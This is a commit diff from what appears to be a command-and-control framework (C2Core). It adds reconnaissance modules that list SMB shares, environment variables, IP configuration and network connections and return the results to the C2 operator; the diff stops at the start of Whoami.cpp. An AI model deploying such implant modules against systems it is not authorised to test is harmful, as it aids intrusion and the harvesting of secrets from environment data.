mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
Refactor system info modules to use native APIs
This commit is contained in:
@@ -41,3 +41,8 @@ add_subdirectory(DotnetExec)
|
||||
add_subdirectory(PwSh)
|
||||
add_subdirectory(Shell)
|
||||
|
||||
add_subdirectory(GetEnv)
|
||||
add_subdirectory(Whoami)
|
||||
add_subdirectory(Netstat)
|
||||
add_subdirectory(IpConfig)
|
||||
add_subdirectory(EnumerateShares)
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
include_directories(../)
|
||||
add_library(EnumerateShares SHARED EnumerateShares.cpp)
|
||||
set_property(TARGET EnumerateShares PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
|
||||
if(UNIX)
|
||||
target_link_libraries(EnumerateShares smbclient)
|
||||
endif()
|
||||
add_custom_command(TARGET EnumerateShares POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
$<TARGET_FILE:EnumerateShares> "${CMAKE_SOURCE_DIR}/Release/Modules/$<TARGET_FILE_NAME:EnumerateShares>")
|
||||
|
||||
if(WITH_TESTS)
|
||||
add_executable(testsEnumerateShares tests/testsEnumerateShares.cpp EnumerateShares.cpp)
|
||||
if(UNIX)
|
||||
target_link_libraries(testsEnumerateShares smbclient)
|
||||
endif()
|
||||
add_custom_command(TARGET testsEnumerateShares POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
$<TARGET_FILE:testsEnumerateShares> "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsEnumerateShares>")
|
||||
add_test(NAME testsEnumerateShares COMMAND "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsEnumerateShares>")
|
||||
endif()
|
||||
@@ -0,0 +1,140 @@
|
||||
#include "EnumerateShares.hpp"
|
||||
#include "Common.hpp"
|
||||
|
||||
#include <cstring>
|
||||
#ifdef _WIN32
|
||||
#include <windows.h>
|
||||
#include <lm.h>
|
||||
#pragma comment(lib, "netapi32.lib")
|
||||
#else
|
||||
#include <samba-4.0/libsmbclient.h>
|
||||
#endif
|
||||
|
||||
using namespace std;
|
||||
|
||||
constexpr std::string_view moduleName = "enumerateShares";
|
||||
constexpr unsigned long long moduleHash = djb2(moduleName);
|
||||
|
||||
#ifdef _WIN32
|
||||
__declspec(dllexport) EnumerateShares* EnumerateSharesConstructor()
|
||||
{
|
||||
return new EnumerateShares();
|
||||
}
|
||||
#else
|
||||
__attribute__((visibility("default"))) EnumerateShares* EnumerateSharesConstructor()
|
||||
{
|
||||
return new EnumerateShares();
|
||||
}
|
||||
#endif
|
||||
|
||||
EnumerateShares::EnumerateShares()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
}
|
||||
|
||||
EnumerateShares::~EnumerateShares()
|
||||
{
|
||||
}
|
||||
|
||||
std::string EnumerateShares::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "enumerateShares:\n";
|
||||
info += "List available SMB shares.\n";
|
||||
#endif
|
||||
return info;
|
||||
}
|
||||
|
||||
int EnumerateShares::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
|
||||
{
|
||||
std::string host;
|
||||
if(splitedCmd.size() > 1)
|
||||
host = splitedCmd[1];
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_cmd(host);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int EnumerateShares::process(C2Message& c2Message, C2Message& c2RetMessage)
|
||||
{
|
||||
std::string host = c2Message.cmd();
|
||||
std::string out = runEnum(host);
|
||||
c2RetMessage.set_instruction(c2Message.instruction());
|
||||
c2RetMessage.set_cmd(host);
|
||||
c2RetMessage.set_returnvalue(out);
|
||||
return 0;
|
||||
}
|
||||
|
||||
std::string EnumerateShares::runEnum(const std::string& host)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
std::string result;
|
||||
std::wstring wserver;
|
||||
if(!host.empty())
|
||||
wserver = L"\\\\" + std::wstring(host.begin(), host.end());
|
||||
LPBYTE buf = nullptr;
|
||||
DWORD read = 0, total = 0, resume = 0;
|
||||
NET_API_STATUS status = NetShareEnum(host.empty()? NULL : (LPWSTR)wserver.c_str(), 1, &buf, MAX_PREFERRED_LENGTH, &read, &total, &resume);
|
||||
if(status == NERR_Success || status == ERROR_MORE_DATA)
|
||||
{
|
||||
PSHARE_INFO_1 info = (PSHARE_INFO_1)buf;
|
||||
for(DWORD i=0; i<read; ++i)
|
||||
{
|
||||
char name[256] = {0};
|
||||
WideCharToMultiByte(CP_UTF8, 0, info[i].shi1_netname, -1, name, sizeof(name), NULL, NULL);
|
||||
result += name;
|
||||
if(info[i].shi1_remark)
|
||||
{
|
||||
char rem[256] = {0};
|
||||
WideCharToMultiByte(CP_UTF8, 0, info[i].shi1_remark, -1, rem, sizeof(rem), NULL, NULL);
|
||||
result += " - ";
|
||||
result += rem;
|
||||
}
|
||||
result += "\n";
|
||||
}
|
||||
NetApiBufferFree(buf);
|
||||
}
|
||||
if(result.empty())
|
||||
result = "Enumeration failed or no shares";
|
||||
return result;
|
||||
#else
|
||||
std::string result;
|
||||
auto auth_fn = [](SMBCCTX*, const char*, const char*, char*, int, char* u, int ulen, char* p, int plen){ if(ulen>0) u[0]='\0'; if(plen>0) p[0]='\0'; };
|
||||
SMBCCTX* ctx = smbc_new_context();
|
||||
if(!ctx) return result;
|
||||
smbc_setOptionUseKerberos(ctx, 0);
|
||||
smbc_setOptionFallbackAfterKerberos(ctx, 1);
|
||||
smbc_setFunctionAuthDataWithContext(ctx, auth_fn);
|
||||
if(!smbc_init_context(ctx))
|
||||
{
|
||||
smbc_free_context(ctx, 1);
|
||||
return result;
|
||||
}
|
||||
smbc_set_context(ctx);
|
||||
std::string url = "smb://" + (host.empty()? std::string("") : host);
|
||||
int dir = smbc_opendir(url.c_str());
|
||||
if(dir >= 0)
|
||||
{
|
||||
struct smbc_dirent* ent;
|
||||
while((ent = smbc_readdir(dir)) != nullptr)
|
||||
{
|
||||
if(ent->smbc_type == SMBC_FILE_SHARE)
|
||||
{
|
||||
result += ent->name;
|
||||
result += '\n';
|
||||
}
|
||||
}
|
||||
smbc_closedir(dir);
|
||||
}
|
||||
smbc_free_context(ctx, 1);
|
||||
if(result.empty())
|
||||
result = "Enumeration failed or no shares";
|
||||
return result;
|
||||
#endif
|
||||
}
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
#pragma once
|
||||
|
||||
#include "ModuleCmd.hpp"
|
||||
|
||||
class EnumerateShares : public ModuleCmd
|
||||
{
|
||||
public:
|
||||
EnumerateShares();
|
||||
~EnumerateShares();
|
||||
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_LINUX | OS_WINDOWS;
|
||||
}
|
||||
|
||||
private:
|
||||
std::string runEnum(const std::string& host);
|
||||
};
|
||||
|
||||
#ifdef _WIN32
|
||||
extern "C" __declspec(dllexport) EnumerateShares* EnumerateSharesConstructor();
|
||||
#else
|
||||
extern "C" __attribute__((visibility("default"))) EnumerateShares* EnumerateSharesConstructor();
|
||||
#endif
|
||||
@@ -0,0 +1,25 @@
|
||||
#include "../EnumerateShares.hpp"
|
||||
|
||||
bool testEnumerateShares();
|
||||
|
||||
int main()
|
||||
{
|
||||
bool res;
|
||||
std::cout << "[+] testEnumerateShares" << std::endl;
|
||||
res = testEnumerateShares();
|
||||
if (res)
|
||||
std::cout << "[+] Sucess" << std::endl;
|
||||
else
|
||||
std::cout << "[-] Failed" << std::endl;
|
||||
return !res;
|
||||
}
|
||||
|
||||
bool testEnumerateShares()
|
||||
{
|
||||
std::unique_ptr<EnumerateShares> mod = std::make_unique<EnumerateShares>();
|
||||
std::vector<std::string> cmd = {"enumerateShares"};
|
||||
C2Message msg, ret;
|
||||
mod->init(cmd, msg);
|
||||
mod->process(msg, ret);
|
||||
return !ret.returnvalue().empty();
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
include_directories(../)
|
||||
add_library(GetEnv SHARED GetEnv.cpp)
|
||||
set_property(TARGET GetEnv PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
|
||||
target_link_libraries(GetEnv )
|
||||
add_custom_command(TARGET GetEnv POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
$<TARGET_FILE:GetEnv> "${CMAKE_SOURCE_DIR}/Release/Modules/$<TARGET_FILE_NAME:GetEnv>")
|
||||
|
||||
if(WITH_TESTS)
|
||||
add_executable(testsGetEnv tests/testsGetEnv.cpp GetEnv.cpp)
|
||||
target_link_libraries(testsGetEnv )
|
||||
add_custom_command(TARGET testsGetEnv POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
$<TARGET_FILE:testsGetEnv> "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsGetEnv>")
|
||||
add_test(NAME testsGetEnv COMMAND "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsGetEnv>")
|
||||
endif()
|
||||
@@ -0,0 +1,89 @@
|
||||
#include "GetEnv.hpp"
|
||||
#include "Common.hpp"
|
||||
|
||||
#include <cstring>
|
||||
#ifdef _WIN32
|
||||
#include <windows.h>
|
||||
#else
|
||||
extern char **environ;
|
||||
#endif
|
||||
|
||||
using namespace std;
|
||||
|
||||
constexpr std::string_view moduleName = "getEnv";
|
||||
constexpr unsigned long long moduleHash = djb2(moduleName);
|
||||
|
||||
#ifdef _WIN32
|
||||
__declspec(dllexport) GetEnv* GetEnvConstructor()
|
||||
{
|
||||
return new GetEnv();
|
||||
}
|
||||
#else
|
||||
__attribute__((visibility("default"))) GetEnv* GetEnvConstructor()
|
||||
{
|
||||
return new GetEnv();
|
||||
}
|
||||
#endif
|
||||
|
||||
GetEnv::GetEnv()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
}
|
||||
|
||||
GetEnv::~GetEnv()
|
||||
{
|
||||
}
|
||||
|
||||
std::string GetEnv::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "getEnv:\n";
|
||||
info += "List environment variables.\n";
|
||||
#endif
|
||||
return info;
|
||||
}
|
||||
|
||||
int GetEnv::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
|
||||
{
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int GetEnv::process(C2Message& c2Message, C2Message& c2RetMessage)
|
||||
{
|
||||
std::string out = listEnv();
|
||||
c2RetMessage.set_instruction(c2Message.instruction());
|
||||
c2RetMessage.set_returnvalue(out);
|
||||
return 0;
|
||||
}
|
||||
|
||||
std::string GetEnv::listEnv()
|
||||
{
|
||||
std::string result;
|
||||
#ifdef _WIN32
|
||||
LPCH env = GetEnvironmentStringsA();
|
||||
if(!env)
|
||||
return "Could not retrieve environment";
|
||||
for(LPCH var = env; *var; var += strlen(var) + 1)
|
||||
{
|
||||
result += var;
|
||||
result += "\n";
|
||||
}
|
||||
FreeEnvironmentStringsA(env);
|
||||
#else
|
||||
if(!environ)
|
||||
return result;
|
||||
for(char **p = environ; *p; ++p)
|
||||
{
|
||||
result += *p;
|
||||
result += "\n";
|
||||
}
|
||||
#endif
|
||||
return result;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
#pragma once
|
||||
|
||||
#include "ModuleCmd.hpp"
|
||||
|
||||
class GetEnv : public ModuleCmd
|
||||
{
|
||||
public:
|
||||
GetEnv();
|
||||
~GetEnv();
|
||||
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_LINUX | OS_WINDOWS;
|
||||
}
|
||||
|
||||
private:
|
||||
std::string listEnv();
|
||||
};
|
||||
|
||||
#ifdef _WIN32
|
||||
extern "C" __declspec(dllexport) GetEnv* GetEnvConstructor();
|
||||
#else
|
||||
extern "C" __attribute__((visibility("default"))) GetEnv* GetEnvConstructor();
|
||||
#endif
|
||||
@@ -0,0 +1,26 @@
|
||||
#include "../GetEnv.hpp"
|
||||
|
||||
bool testGetEnv();
|
||||
|
||||
int main()
|
||||
{
|
||||
bool res;
|
||||
std::cout << "[+] testGetEnv" << std::endl;
|
||||
res = testGetEnv();
|
||||
if (res)
|
||||
std::cout << "[+] Sucess" << std::endl;
|
||||
else
|
||||
std::cout << "[-] Failed" << std::endl;
|
||||
|
||||
return !res;
|
||||
}
|
||||
|
||||
bool testGetEnv()
|
||||
{
|
||||
std::unique_ptr<GetEnv> mod = std::make_unique<GetEnv>();
|
||||
std::vector<std::string> cmd = {"getEnv"};
|
||||
C2Message msg, ret;
|
||||
mod->init(cmd, msg);
|
||||
mod->process(msg, ret);
|
||||
return !ret.returnvalue().empty();
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
include_directories(../)
|
||||
add_library(IpConfig SHARED IpConfig.cpp)
|
||||
set_property(TARGET IpConfig PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
|
||||
target_link_libraries(IpConfig )
|
||||
add_custom_command(TARGET IpConfig POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
$<TARGET_FILE:IpConfig> "${CMAKE_SOURCE_DIR}/Release/Modules/$<TARGET_FILE_NAME:IpConfig>")
|
||||
|
||||
if(WITH_TESTS)
|
||||
add_executable(testsIpConfig tests/testsIpConfig.cpp IpConfig.cpp)
|
||||
target_link_libraries(testsIpConfig )
|
||||
add_custom_command(TARGET testsIpConfig POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
$<TARGET_FILE:testsIpConfig> "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsIpConfig>")
|
||||
add_test(NAME testsIpConfig COMMAND "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsIpConfig>")
|
||||
endif()
|
||||
@@ -0,0 +1,135 @@
|
||||
#include "IpConfig.hpp"
|
||||
#include "Common.hpp"
|
||||
|
||||
#include <cstring>
|
||||
#ifdef _WIN32
|
||||
#include <winsock2.h>
|
||||
#include <iphlpapi.h>
|
||||
#include <ws2tcpip.h>
|
||||
#pragma comment(lib, "iphlpapi.lib")
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
#else
|
||||
#include <ifaddrs.h>
|
||||
#include <net/if.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <sstream>
|
||||
#endif
|
||||
|
||||
using namespace std;
|
||||
|
||||
constexpr std::string_view moduleName = "ipConfig";
|
||||
constexpr unsigned long long moduleHash = djb2(moduleName);
|
||||
|
||||
#ifdef _WIN32
|
||||
__declspec(dllexport) IpConfig* IpConfigConstructor()
|
||||
{
|
||||
return new IpConfig();
|
||||
}
|
||||
#else
|
||||
__attribute__((visibility("default"))) IpConfig* IpConfigConstructor()
|
||||
{
|
||||
return new IpConfig();
|
||||
}
|
||||
#endif
|
||||
|
||||
IpConfig::IpConfig()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
}
|
||||
|
||||
IpConfig::~IpConfig()
|
||||
{
|
||||
}
|
||||
|
||||
std::string IpConfig::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "ipConfig:\n";
|
||||
info += "Show local IP configuration.\n";
|
||||
#endif
|
||||
return info;
|
||||
}
|
||||
|
||||
int IpConfig::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
|
||||
{
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int IpConfig::process(C2Message& c2Message, C2Message& c2RetMessage)
|
||||
{
|
||||
std::string out = runIpconfig();
|
||||
c2RetMessage.set_instruction(c2Message.instruction());
|
||||
c2RetMessage.set_returnvalue(out);
|
||||
return 0;
|
||||
}
|
||||
|
||||
std::string IpConfig::runIpconfig()
|
||||
{
|
||||
#ifdef _WIN32
|
||||
std::string result;
|
||||
ULONG size = 0;
|
||||
GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, NULL, NULL, &size);
|
||||
std::vector<IP_ADAPTER_ADDRESSES> buf(size / sizeof(IP_ADAPTER_ADDRESSES) + 1);
|
||||
PIP_ADAPTER_ADDRESSES addr = reinterpret_cast<PIP_ADAPTER_ADDRESSES>(buf.data());
|
||||
if(GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, NULL, addr, &size) == NO_ERROR)
|
||||
{
|
||||
for(auto p = addr; p; p = p->Next)
|
||||
{
|
||||
result += p->FriendlyName; result += "\n";
|
||||
for(PIP_ADAPTER_UNICAST_ADDRESS unicast = p->FirstUnicastAddress; unicast; unicast = unicast->Next)
|
||||
{
|
||||
char ip[INET6_ADDRSTRLEN];
|
||||
void* sa = &((struct sockaddr_in*)unicast->Address.lpSockaddr)->sin_addr;
|
||||
int family = unicast->Address.lpSockaddr->sa_family;
|
||||
if(family == AF_INET)
|
||||
{
|
||||
inet_ntop(AF_INET, sa, ip, sizeof(ip));
|
||||
}
|
||||
else if(family == AF_INET6)
|
||||
{
|
||||
sa = &((struct sockaddr_in6*)unicast->Address.lpSockaddr)->sin6_addr;
|
||||
inet_ntop(AF_INET6, sa, ip, sizeof(ip));
|
||||
}
|
||||
else
|
||||
continue;
|
||||
result += " " ;
|
||||
result += ip;
|
||||
result += "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
return result;
|
||||
#else
|
||||
std::string result;
|
||||
struct ifaddrs* ifa = nullptr;
|
||||
if(getifaddrs(&ifa) == 0)
|
||||
{
|
||||
for(auto p = ifa; p; p = p->ifa_next)
|
||||
{
|
||||
if(!p->ifa_addr) continue;
|
||||
int family = p->ifa_addr->sa_family;
|
||||
char host[INET6_ADDRSTRLEN];
|
||||
if(family == AF_INET)
|
||||
{
|
||||
inet_ntop(AF_INET, &((struct sockaddr_in*)p->ifa_addr)->sin_addr, host, sizeof(host));
|
||||
}
|
||||
else if(family == AF_INET6)
|
||||
{
|
||||
inet_ntop(AF_INET6, &((struct sockaddr_in6*)p->ifa_addr)->sin6_addr, host, sizeof(host));
|
||||
}
|
||||
else
|
||||
continue;
|
||||
result += p->ifa_name; result += " "; result += host; result += "\n";
|
||||
}
|
||||
freeifaddrs(ifa);
|
||||
}
|
||||
return result;
|
||||
#endif
|
||||
}
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
#pragma once
|
||||
|
||||
#include "ModuleCmd.hpp"
|
||||
|
||||
class IpConfig : public ModuleCmd
|
||||
{
|
||||
public:
|
||||
IpConfig();
|
||||
~IpConfig();
|
||||
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_LINUX | OS_WINDOWS;
|
||||
}
|
||||
|
||||
private:
|
||||
std::string runIpconfig();
|
||||
};
|
||||
|
||||
#ifdef _WIN32
|
||||
extern "C" __declspec(dllexport) IpConfig* IpConfigConstructor();
|
||||
#else
|
||||
extern "C" __attribute__((visibility("default"))) IpConfig* IpConfigConstructor();
|
||||
#endif
|
||||
@@ -0,0 +1,25 @@
|
||||
#include "../IpConfig.hpp"
|
||||
|
||||
bool testIpConfig();
|
||||
|
||||
int main()
|
||||
{
|
||||
bool res;
|
||||
std::cout << "[+] testIpConfig" << std::endl;
|
||||
res = testIpConfig();
|
||||
if (res)
|
||||
std::cout << "[+] Sucess" << std::endl;
|
||||
else
|
||||
std::cout << "[-] Failed" << std::endl;
|
||||
return !res;
|
||||
}
|
||||
|
||||
bool testIpConfig()
|
||||
{
|
||||
std::unique_ptr<IpConfig> mod = std::make_unique<IpConfig>();
|
||||
std::vector<std::string> cmd = {"ipConfig"};
|
||||
C2Message msg, ret;
|
||||
mod->init(cmd, msg);
|
||||
mod->process(msg, ret);
|
||||
return !ret.returnvalue().empty();
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
include_directories(../)
|
||||
add_library(Netstat SHARED Netstat.cpp)
|
||||
set_property(TARGET Netstat PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
|
||||
target_link_libraries(Netstat )
|
||||
add_custom_command(TARGET Netstat POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
$<TARGET_FILE:Netstat> "${CMAKE_SOURCE_DIR}/Release/Modules/$<TARGET_FILE_NAME:Netstat>")
|
||||
|
||||
if(WITH_TESTS)
|
||||
add_executable(testsNetstat tests/testsNetstat.cpp Netstat.cpp)
|
||||
target_link_libraries(testsNetstat )
|
||||
add_custom_command(TARGET testsNetstat POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
$<TARGET_FILE:testsNetstat> "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsNetstat>")
|
||||
add_test(NAME testsNetstat COMMAND "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsNetstat>")
|
||||
endif()
|
||||
@@ -0,0 +1,150 @@
|
||||
#include "Netstat.hpp"
|
||||
#include "Common.hpp"
|
||||
|
||||
#include <cstring>
|
||||
#ifdef _WIN32
|
||||
#include <winsock2.h>
|
||||
#include <ws2tcpip.h>
|
||||
#include <iphlpapi.h>
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
#pragma comment(lib, "iphlpapi.lib")
|
||||
#else
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <cstdlib>
|
||||
#endif
|
||||
|
||||
using namespace std;
|
||||
|
||||
constexpr std::string_view moduleName = "netstat";
|
||||
constexpr unsigned long long moduleHash = djb2(moduleName);
|
||||
|
||||
#ifdef _WIN32
|
||||
__declspec(dllexport) Netstat* NetstatConstructor()
|
||||
{
|
||||
return new Netstat();
|
||||
}
|
||||
#else
|
||||
__attribute__((visibility("default"))) Netstat* NetstatConstructor()
|
||||
{
|
||||
return new Netstat();
|
||||
}
|
||||
#endif
|
||||
|
||||
Netstat::Netstat()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
}
|
||||
|
||||
Netstat::~Netstat()
|
||||
{
|
||||
}
|
||||
|
||||
std::string Netstat::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "netstat:\n";
|
||||
info += "Show active network connections.\n";
|
||||
#endif
|
||||
return info;
|
||||
}
|
||||
|
||||
int Netstat::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
|
||||
{
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int Netstat::process(C2Message& c2Message, C2Message& c2RetMessage)
|
||||
{
|
||||
std::string out = runNetstat();
|
||||
c2RetMessage.set_instruction(c2Message.instruction());
|
||||
c2RetMessage.set_returnvalue(out);
|
||||
return 0;
|
||||
}
|
||||
|
||||
std::string Netstat::runNetstat()
|
||||
{
|
||||
#ifdef _WIN32
|
||||
std::string result;
|
||||
DWORD size = 0;
|
||||
GetExtendedTcpTable(nullptr, &size, TRUE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0);
|
||||
std::vector<char> buf(size);
|
||||
if(GetExtendedTcpTable(buf.data(), &size, TRUE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR)
|
||||
{
|
||||
auto table = reinterpret_cast<PMIB_TCPTABLE_OWNER_PID>(buf.data());
|
||||
for(DWORD i=0; i<table->dwNumEntries; ++i)
|
||||
{
|
||||
char local[INET_ADDRSTRLEN];
|
||||
char remote[INET_ADDRSTRLEN];
|
||||
inet_ntop(AF_INET, &table->table[i].dwLocalAddr, local, sizeof(local));
|
||||
inet_ntop(AF_INET, &table->table[i].dwRemoteAddr, remote, sizeof(remote));
|
||||
result += "TCP ";
|
||||
result += local; result += ':'; result += std::to_string(ntohs((u_short)table->table[i].dwLocalPort));
|
||||
result += " -> ";
|
||||
result += remote; result += ':'; result += std::to_string(ntohs((u_short)table->table[i].dwRemotePort));
|
||||
result += " State:"; result += std::to_string(table->table[i].dwState);
|
||||
result += " PID:"; result += std::to_string(table->table[i].dwOwningPid);
|
||||
result += "\n";
|
||||
}
|
||||
}
|
||||
return result;
|
||||
#else
|
||||
std::string result;
|
||||
auto parse = [&](const std::string& path, const char* proto, bool ipv6)
|
||||
{
|
||||
std::ifstream f(path);
|
||||
if(!f) return;
|
||||
std::string line;
|
||||
std::getline(f, line); // skip header
|
||||
while(std::getline(f, line))
|
||||
{
|
||||
std::istringstream iss(line);
|
||||
std::string sl, local, remote, st;
|
||||
iss >> sl >> local >> remote >> st;
|
||||
auto decodeAddr = [&](const std::string& in)->std::string
|
||||
{
|
||||
size_t pos = in.find(':');
|
||||
std::string iphex = in.substr(0,pos);
|
||||
std::string porthex = in.substr(pos+1);
|
||||
unsigned port = std::stoul(porthex, nullptr, 16);
|
||||
char buf[INET6_ADDRSTRLEN];
|
||||
if(ipv6)
|
||||
{
|
||||
struct in6_addr a{};
|
||||
for(int i=0;i<16;i++)
|
||||
a.s6_addr[15-i] = std::stoi(iphex.substr(i*2,2),nullptr,16);
|
||||
inet_ntop(AF_INET6, &a, buf, sizeof(buf));
|
||||
}
|
||||
else
|
||||
{
|
||||
struct in_addr a{};
|
||||
a.s_addr = htonl(std::stoul(iphex, nullptr, 16));
|
||||
inet_ntop(AF_INET, &a, buf, sizeof(buf));
|
||||
}
|
||||
return std::string(buf)+":"+std::to_string(port);
|
||||
};
|
||||
result += proto; result += " ";
|
||||
result += decodeAddr(local); result += " -> ";
|
||||
result += decodeAddr(remote); result += " State:"; result += st;
|
||||
result += "\n";
|
||||
}
|
||||
};
|
||||
parse("/proc/net/tcp", "TCP", false);
|
||||
parse("/proc/net/udp", "UDP", false);
|
||||
parse("/proc/net/tcp6", "TCP6", true);
|
||||
parse("/proc/net/udp6", "UDP6", true);
|
||||
return result;
|
||||
#endif
|
||||
}
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
#pragma once
|
||||
|
||||
#include "ModuleCmd.hpp"
|
||||
|
||||
class Netstat : public ModuleCmd
|
||||
{
|
||||
public:
|
||||
Netstat();
|
||||
~Netstat();
|
||||
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_LINUX | OS_WINDOWS;
|
||||
}
|
||||
|
||||
private:
|
||||
std::string runNetstat();
|
||||
};
|
||||
|
||||
#ifdef _WIN32
|
||||
extern "C" __declspec(dllexport) Netstat* NetstatConstructor();
|
||||
#else
|
||||
extern "C" __attribute__((visibility("default"))) Netstat* NetstatConstructor();
|
||||
#endif
|
||||
@@ -0,0 +1,25 @@
|
||||
#include "../Netstat.hpp"
|
||||
|
||||
bool testNetstat();
|
||||
|
||||
int main()
|
||||
{
|
||||
bool res;
|
||||
std::cout << "[+] testNetstat" << std::endl;
|
||||
res = testNetstat();
|
||||
if (res)
|
||||
std::cout << "[+] Sucess" << std::endl;
|
||||
else
|
||||
std::cout << "[-] Failed" << std::endl;
|
||||
return !res;
|
||||
}
|
||||
|
||||
bool testNetstat()
|
||||
{
|
||||
std::unique_ptr<Netstat> mod = std::make_unique<Netstat>();
|
||||
std::vector<std::string> cmd = {"netstat"};
|
||||
C2Message msg, ret;
|
||||
mod->init(cmd, msg);
|
||||
mod->process(msg, ret);
|
||||
return !ret.returnvalue().empty();
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
include_directories(../)
|
||||
add_library(Whoami SHARED Whoami.cpp)
|
||||
set_property(TARGET Whoami PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
|
||||
target_link_libraries(Whoami )
|
||||
add_custom_command(TARGET Whoami POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
$<TARGET_FILE:Whoami> "${CMAKE_SOURCE_DIR}/Release/Modules/$<TARGET_FILE_NAME:Whoami>")
|
||||
|
||||
if(WITH_TESTS)
|
||||
add_executable(testsWhoami tests/testsWhoami.cpp Whoami.cpp)
|
||||
target_link_libraries(testsWhoami )
|
||||
add_custom_command(TARGET testsWhoami POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
$<TARGET_FILE:testsWhoami> "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsWhoami>")
|
||||
add_test(NAME testsWhoami COMMAND "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsWhoami>")
|
||||
endif()
|
||||
@@ -0,0 +1,167 @@
|
||||
#include "Whoami.hpp"
|
||||
